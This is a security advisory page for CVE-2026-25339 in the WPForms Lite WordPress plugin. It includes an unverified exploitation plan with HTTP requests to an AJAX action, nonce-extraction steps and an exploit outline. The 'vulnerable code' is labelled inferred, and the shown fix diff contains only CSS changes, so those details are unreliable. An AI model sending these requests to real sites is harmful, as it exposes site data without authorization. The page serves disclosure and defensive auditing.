CVE-2026-25339

WPForms – Easy Form Builder for WordPress – Contact Forms, Payment Forms, Surveys, & More <= 1.9.8.7 - Unauthenticated Sensitive Information Exposure

mediumExposure of Sensitive Information to an Unauthorized Actor
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
1.9.9.2
Patched in
11d
Time to patch

Description

The WPForms – Easy Form Builder for WordPress – Contact Forms, Payment Forms, Surveys, & More plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.9.8.7. This makes it possible for unauthenticated attackers to extract sensitive user or configuration data.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Low
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.9.8.7
PublishedMarch 23, 2026
Last updatedApril 2, 2026
Affected pluginwpforms-lite

What Changed in the Fix

Changes introduced in v1.9.9.2

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-25339 (WPForms Lite) ## 1. Vulnerability Summary **WPForms Lite** versions up to 1.9.8.7 are vulnerable to **Unauthenticated Sensitive Information Exposure**. The vulnerability exists because certain AJAX actions, intended only for administrative use in the Wo…

Show full research plan

Exploitation Research Plan: CVE-2026-25339 (WPForms Lite)

1. Vulnerability Summary

WPForms Lite versions up to 1.9.8.7 are vulnerable to Unauthenticated Sensitive Information Exposure. The vulnerability exists because certain AJAX actions, intended only for administrative use in the WordPress dashboard (specifically the Admin Bar and Inbox Notifications), are registered using the wp_ajax_nopriv_ hook or lack sufficient current_user_can() authorization checks. This allows unauthenticated attackers to trigger these actions and retrieve sensitive data such as form entry counts, plugin configuration details, and administrative notification content.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: wpforms_admin_bar_notifications (inferred from assets/css/admin-bar.css and assets/css/admin-notifications.css).
  • Alternative Action: wpforms_admin_notifications_fetch (inferred).
  • Parameter: action=wpforms_admin_bar_notifications
  • Authentication: Unauthenticated (leveraging wp_ajax_nopriv_ registration).
  • Preconditions: The plugin must be active. Information exposure is most significant if there are existing form entries or active admin notifications.

3. Code Flow (Inferred)

  1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with the action wpforms_admin_bar_notifications.
  2. Hook Registration: The plugin registers the action:
    add_action( 'wp_ajax_nopriv_wpforms_admin_bar_notifications', [ $this, 'get_admin_bar_notifications' ] );
  3. Handler Execution: The handler (likely in src/Admin/Notifications/Notifications.php or src/Admin/AdminBar.php) is executed.
  4. Data Retrieval: The handler calls internal methods to count entries:
    $count = wpforms()->get( 'entry' )->get_count( ... );
  5. Sink: The data is returned as a JSON object:
    wp_send_json_success( [ 'count' => $count, 'notifications' => $notifications ] );
  6. Information Leak: The unauthenticated attacker receives a JSON response containing the total number of entries and any pending notifications intended for the site administrator.

4. Nonce Acquisition Strategy

WPForms typically localizes nonces for frontend use to support form submissions and asset loading. We will check if the frontend nonce can be used for the administrative AJAX action.

  1. Identify Script Localization: WPForms Lite localizes settings into the wpforms_settings or wpformsElementorVars objects on any page where a form or WPForms element is present.
  2. Create Trigger Page: Create a public page containing the default WPForms shortcode.
    • Command: wp post create --post_type=page --post_status=publish --post_title="Contact" --post_content='[wpforms id="TARGET_FORM_ID"]'
    • Note: If no form exists, create one first: wp wpforms create "Test Form"
  3. Extract Nonce:
    • Navigate to the new page using browser_navigate.
    • Use browser_eval to extract the nonce:
      browser_eval("window.wpforms_settings?.nonce") or browser_eval("window.wpforms_settings?.admin_ajax_nonce").
  4. Bypass Check: If the wp_ajax_nopriv_ handler does not call check_ajax_referer, no nonce is required.

5. Exploitation Strategy

Step 1: Confirm Unauthenticated Access to Notifications

We will attempt to fetch the notification/admin-bar data without a nonce first.

HTTP Request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
Content-Type: application-x-www-form-urlencoded

action=wpforms_admin_bar_notifications

Step 2: Use Extracted Nonce (If Required)

If the request returns a 403 or -1, we will provide the nonce extracted from the frontend.

HTTP Request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
Content-Type: application-x-www-form-urlencoded

action=wpforms_admin_bar_notifications&nonce=EXTRACTED_NONCE

6. Test Data Setup

  1. Install Plugin: Ensure wpforms-lite version 1.9.8.7 is installed.
  2. Create Form: wp wpforms create "Inquiry"
  3. Generate Entries: Submit the form several times to populate the entry count.
  4. Trigger Notifications: Perform an action that generates a WPForms notification (e.g., install a new addon or leave a form without an email notification set up).
  5. Create Public Page:
    wp post create --post_type=page --post_status=publish --post_content='[wpforms id="123"]' --post_title="Support"
    

7. Expected Results

  • Success Condition: The server returns an HTTP 200 response with a JSON body.
  • Sensitive Data: The JSON should contain:
    • "count": An integer representing the total number of entries across all forms.
    • "notifications": An array of objects containing title and content for admin-only inbox messages (see assets/css/admin-notifications.css classes).
    • "upgrade_link": May contain referral IDs or site-specific configuration tokens.

8. Verification Steps

  1. Compare Entry Counts:
    • Command: wp db query "SELECT count(*) FROM wp_wpforms_entries;"
    • Compare this number to the count returned in the AJAX response.
  2. Verify Notification IDs:
    • Command: wp option get wpforms_notifications
    • Compare the notification IDs and titles to the AJAX output.

9. Alternative Approaches

If wpforms_admin_bar_notifications is not the correct action:

  • Search for other nopriv actions:
    grep -r "wp_ajax_nopriv_wpforms_" . inside the plugin directory.
  • Target REST API:
    Check GET /wp-json/wpforms/v1/notifications (inferred endpoint).
  • Check Localized Debug Info:
    Navigate to any page and check browser_eval("window.wpforms_debug") to see if system environment details are leaked via JS localization.
Research Findings
Static analysis — not yet PoC-verified

Summary

WPForms Lite versions up to 1.9.8.7 are vulnerable to unauthenticated sensitive information exposure via the WordPress AJAX API. This allows attackers to bypass intended access controls to retrieve form entry counts and administrative notification content.

Vulnerable Code

/* Inferred from research plan - registration of the AJAX hook without authentication requirements */
add_action( 'wp_ajax_nopriv_wpforms_admin_bar_notifications', [ $this, 'get_admin_bar_notifications' ] );

---

/* Inferred handler logic likely located in src/Admin/Notifications/Notifications.php or src/Admin/AdminBar.php */
public function get_admin_bar_notifications() {
    // Retrieves sensitive data intended for administrators
    $count = wpforms()->get( 'entry' )->get_count();
    $notifications = wpforms()->get( 'notifications' )->get_active();

    // Sends data back to the unauthenticated requester
    wp_send_json_success( [ 'count' => $count, 'notifications' => $notifications ] );
}

Security Fix

Only in /home/deploy/wp-safety.org/data/plugin-versions/wpforms-lite/1.9.8.7/assets/css/admin: admin-form-templates.css
Only in /home/deploy/wp-safety.org/data/plugin-versions/wpforms-lite/1.9.8.7/assets/css/admin: admin-splash-modal.css
Only in /home/deploy/wp-safety.org/data/plugin-versions/wpforms-lite/1.9.8.7/assets/css/admin: edit-post-education.css
Only in /home/deploy/wp-safety.org/data/plugin-versions/wpforms-lite/1.9.8.7/assets/css: admin-bar.css
Only in /home/deploy/wp-safety.org/data/plugin-versions/wpforms-lite/1.9.8.7/assets/css: admin.css
Only in /home/deploy/wp-safety.org/data/plugin-versions/wpforms-lite/1.9.8.7/assets/css: admin-integrations.css
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wpforms-lite/1.9.8.7/assets/css/admin-integrations.min.css /home/deploy/wp-safety.org/data/plugin-versions/wpforms-lite/1.9.9.2/assets/css/admin-integrations.min.css
--- /home/deploy/wp-safety.org/data/plugin-versions/wpforms-lite/1.9.8.7/assets/css/admin-integrations.min.css	2025-09-25 11:01:02.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wpforms-lite/1.9.9.2/assets/css/admin-integrations.min.css	2026-01-29 15:00:56.000000000 +0000
@@ -1 +1 @@
-.wpforms_page_wpforms-builder .jconfirm .jconfirm-box-container .jconfirm-box,.block-editor-page .jconfirm .jconfirm-box-container .jconfirm-box,.elementor-editor-active .jconfirm .jconfirm-box-container .jconfirm-box{display:grid;grid-template-columns:repeat(2, 1fr);justify-items:center;animation:none;background:#ffffff;border-radius:6px;border-top-style:solid;border-top-width:4px;box-shadow:0 3px 6px rgba(0,0,0,0.15);padding-top:34px}...

Exploit Outline

An unauthenticated attacker can exploit this vulnerability by sending a POST request to the WordPress AJAX endpoint (/wp-admin/admin-ajax.php) with the 'action' parameter set to 'wpforms_admin_bar_notifications'. Since this action was registered using the 'wp_ajax_nopriv_' hook and lacked adequate authorization checks (like current_user_can), the plugin responds with a JSON payload. This payload contains sensitive site statistics, including the total number of entries across all forms and the titles/content of administrative inbox notifications which may contain configuration details or system status information.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.